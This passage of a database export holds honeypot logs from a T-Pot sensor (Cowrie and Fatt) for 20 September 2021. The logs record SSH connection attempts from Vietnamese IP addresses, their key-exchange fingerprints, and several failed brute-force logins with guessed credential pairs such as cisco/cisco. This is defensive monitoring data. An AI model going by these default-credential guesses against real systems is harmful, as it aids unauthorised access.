"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39780, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.693067", "@timestamp": "2021-09-20T11:07:48.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23740	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:48.894271+03	2021-09-20 14:15:07.898471+03	{"_id": "WwbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46596, "timestamp": "2021-09-20T11:07:48.894271", "@timestamp": "2021-09-20T11:07:48.894Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23741	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:48.901307+03	2021-09-20 14:15:07.89947+03	{"_id": "XAbkAnwBvYTbRNuEAA-z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43880, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.901307", "@timestamp": "2021-09-20T11:07:48.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23742	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.369038+03	2021-09-20 14:15:07.900471+03	{"_id": "XQbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39780 (192.168.176.2:22) [session: 551fb0376fed]", "session": "551fb0376fed", "@version": "1", "protocol": "ssh", "src_port": 39780, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.369038Z", "@timestamp": "2021-09-20T11:07:48.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23743	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.590805+03	2021-09-20 14:15:07.90247+03	{"_id": "XgbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45338 (192.168.176.2:22) [session: 1bc1f00280b9]", "session": "1bc1f00280b9", "@version": "1", "protocol": "ssh", "src_port": 45338, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.590805Z", "@timestamp": "2021-09-20T11:07:48.590Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23744	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.908146+03	2021-09-20 14:15:07.90347+03	{"_id": "XwbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:60354 (192.168.176.2:22) [session: 0955749a468e]", "session": "0955749a468e", "@version": "1", "protocol": "ssh", "src_port": 60354, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.908146Z", "@timestamp": "2021-09-20T11:07:48.908Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23745	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.890493+03	2021-09-20 14:15:07.904471+03	{"_id": "ZwbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:46596 (192.168.176.2:22) [session: 103bdacf082c]", "session": "103bdacf082c", "@version": "1", "protocol": "ssh", "src_port": 46596, "dest_port": 22, "timestamp": "2021-09-20T11:07:48.890493Z", "@timestamp": "2021-09-20T11:07:48.890Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23746	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:48.610355+03	2021-09-20 14:15:07.90647+03	{"_id": "YQbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8374cd710309", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:48.610355Z", "@timestamp": "2021-09-20T11:07:48.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23747	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:48.810532+03	2021-09-20 14:15:07.907471+03	{"_id": "YwbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1b1c60619027", "@version": "1", "duration": 2.7326571941375732, "timestamp": "2021-09-20T11:07:48.810532Z", "@timestamp": "2021-09-20T11:07:48.810Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23748	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:48.351148+03	2021-09-20 14:15:07.908471+03	{"_id": "agbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [thomas/thomas] failed", "session": "0d49933d856e", "@version": "1", "password": "thomas", "username": "thomas", "timestamp": "2021-09-20T11:07:48.351148Z", "@timestamp": "2021-09-20T11:07:48.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23749	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.239713+03	2021-09-20 14:15:07.91047+03	{"_id": "ZQbkAnwBvYTbRNuEAQ9R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [user100/user100] failed", "session": "a69663fcb61b", "@version": "1", "password": "user100", "username": "user100", "timestamp": "2021-09-20T11:07:49.239713Z", "@timestamp": "2021-09-20T11:07:49.239Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23750	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:49.107438+03	2021-09-20 14:15:07.911471+03	{"_id": "bwbkAnwBvYTbRNuEAQ9S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [cisco/cisco] failed", "session": "28222e2c42e2", "@version": "1", "password": "cisco", "username": "cisco", "timestamp": "2021-09-20T11:07:49.107438Z", "@timestamp": "2021-09-20T11:07:49.107Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23751	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.414449+03	2021-09-20 14:15:07.91247+03	{"_id": "gAbkAnwBvYTbRNuEAQ9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "551fb0376fed", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:48.414449Z", "@timestamp": "2021-09-20T11:07:48.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23752	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.593934+03	2021-09-20 14:15:07.91447+03	{"_id": "gQbkAnwBvYTbRNuEAQ9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1bc1f00280b9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:48.593934Z", "@timestamp": "2021-09-20T11:07:48.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23753	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:48.814486+03	2021-09-20 14:15:07.915471+03	{"_id": "ggbkAnwBvYTbRNuEAQ9T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1bc1f00280b9", "@version": "1", "timestamp": "2021-09-20T11:07:48.814486Z", "@timestamp": "2021-09-20T11:07:48.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 